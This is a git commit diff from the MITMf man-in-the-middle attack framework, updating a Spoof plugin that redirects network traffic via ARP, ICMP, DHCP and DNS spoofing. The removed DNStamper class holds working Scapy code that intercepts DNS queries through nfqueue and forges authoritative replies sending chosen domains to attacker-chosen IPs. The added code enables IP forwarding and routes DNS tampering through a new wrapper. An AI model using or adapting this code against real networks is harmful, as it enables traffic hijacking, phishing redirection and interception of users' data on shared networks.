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Merge branch 'master' of github.com:byt3bl33d3r/MITMf into v0.9.6

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byt3bl33d3r 2015-04-10 15:57:17 +02:00
commit eb7e797ded
20 changed files with 230 additions and 247 deletions
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56
plugins/Spoof.py
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@ -23,8 +23,7 @@ import sys
from core.utils import SystemConfig
from core.sslstrip.DnsCache import DnsCache
from core.wrappers.protocols import _ARP, _DHCP, _ICMP
from core.wrappers.nfqueue import Nfqueue
from core.wrappers.protocols import _ARP, _DHCP, _ICMP, _DNS
from plugins.plugin import Plugin
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
@ -34,7 +33,7 @@ class Spoof(Plugin):
name = "Spoof"
optname = "spoof"
desc = "Redirect/Modify traffic using ICMP, ARP or DHCP"
version = "0.5"
version = "0.6"
has_opts = True
req_root = True
@ -100,11 +99,8 @@ class Spoof(Plugin):
for domain, ip in self.dnscfg.iteritems():
dnscache.cacheResolution(domain, ip)
dns = DNStamper(0)
dns.dnscfg = self.dnscfg
self.protocolInstances.append(dns)
self.dns = _DNS.getInstance()
self.dns.enableDNS(self.dnscfg)
SystemConfig.setIpForwarding(1)
@ -130,48 +126,10 @@ class Spoof(Plugin):
for protocol in self.protocolInstances:
protocol.stop()
if _DNS.checkInstance() is True:
_DNS.getInstance().stop()
if not self.manualiptables:
SystemConfig.iptables.Flush()
SystemConfig.setIpForwarding(0)
class DNStamper(Nfqueue):
dnscfg = None
def callback(self, payload):
try:
logging.debug(payload)
pkt = IP(payload.get_payload())
if not pkt.haslayer(DNSQR):
payload.accept()
if pkt.haslayer(DNSQR):
logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
for k, v in self.dnscfg.iteritems():
if k == pkt[DNSQR].qname[:-1]:
self.modify_dns(payload, pkt, v)
return
payload.accept()
except Exception, e:
print "Exception occurred in nfqueue callback: " + str(e)
def modify_dns(self, payload, pkt, ip):
try:
mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
payload.set_payload(str(mpkt))
payload.accept()
except Exception, e:
print "Exception occurred while modifying DNS: " + str(e)